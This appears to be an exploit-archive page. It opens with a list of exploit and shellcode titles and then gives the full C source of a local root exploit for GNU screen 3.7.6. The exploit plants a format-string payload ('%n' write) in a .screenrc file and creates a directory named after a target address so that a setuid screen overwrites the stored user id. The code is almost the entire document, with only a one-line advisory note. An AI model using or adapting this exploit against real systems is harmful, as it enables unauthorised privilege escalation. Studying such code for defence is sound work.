880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
112 lines
No EOL
2.2 KiB
C
112 lines
No EOL
2.2 KiB
C
// source: https://www.securityfocus.com/bid/1641/info
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Various format string vulnerabilities exist in versions 3.9.5 and prior of 'screen' that may allow local users to elevate their privileges. If screen is setuid root, it is possible to alter the contents of the variable which stores the user id.
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/****************************************************************
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*
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*
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* Screen 3.7.6 (and others) local
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exploit *
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* by
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IhaQueR@IRCnet
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*
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*
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*
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****************************************************************/
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#include <stdio.h>
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#include <sys/stat.h>
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#include <sys/types.h>
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#include <fcntl.h>
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#include <unistd.h>
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#include <string.h>
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#define TMPBUFSIZE 4096
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#define SCREENRC "/usr/home/paul/.screenrc"
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#define SCREEN "/usr/bin/screen"
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#define AREP 1
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#define BUFOFFSET 324
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#define PADDING 3
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#define WRITEADDR 0x807beb4
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// some offsets grabbed from 3.7.6
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// &real_uid, &real_gid, &eff_uid, &eff_gid own_uid
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// 0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4
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// + 64 +64
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int main(int argc, char** argv)
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{
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int i, l;
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FILE* fp;
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char buf[TMPBUFSIZE];
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unsigned char adr[(AREP+2)*sizeof(unsigned)];
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unsigned char* cp;
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unsigned a, *p;
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if(argc != 2) {
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printf("USAGE %s offset\n", argv[0]);
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return 0;
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}
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l = atoi(argv[1]);
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printf("creating magic string\n");
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bzero(buf, TMPBUFSIZE);
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/* consume stack arguments */
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for(i=0; i<BUFOFFSET/4; i++)
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strcat(buf, "%.0d");
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/* finally write to adress */
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// for(i=0;i<9; i++)
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strcat(buf, "%n");
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if(fp = fopen(SCREENRC, "w")) {
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fprintf(fp, "vbell on\n");
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fprintf(fp, "vbell_msg '%s'\n", buf);
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fprintf(fp, "vbellwait 11111\n");
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fclose(fp);
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}
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else {
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printf("ERROR: opening %s\n", SCREENRC);
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}
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/* now create the magic dir... */
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bzero(adr, (AREP+2)*sizeof(unsigned));
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cp = adr;
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for(i=0; i<PADDING; i++) {
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*cp = 'p';
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cp++;
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}
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p = (unsigned*) cp;
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a = WRITEADDR;
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a = a + l;
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for(i=0; i<AREP; i++) {
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*p = a;
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// a += 4;
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p++;
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}
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*p = 0;
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/* make dir and call screen */
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mkdir((char*)adr, 0x777);
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chdir((char*)adr);
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argv[1] = NULL;
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execv(SCREEN, argv);
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} |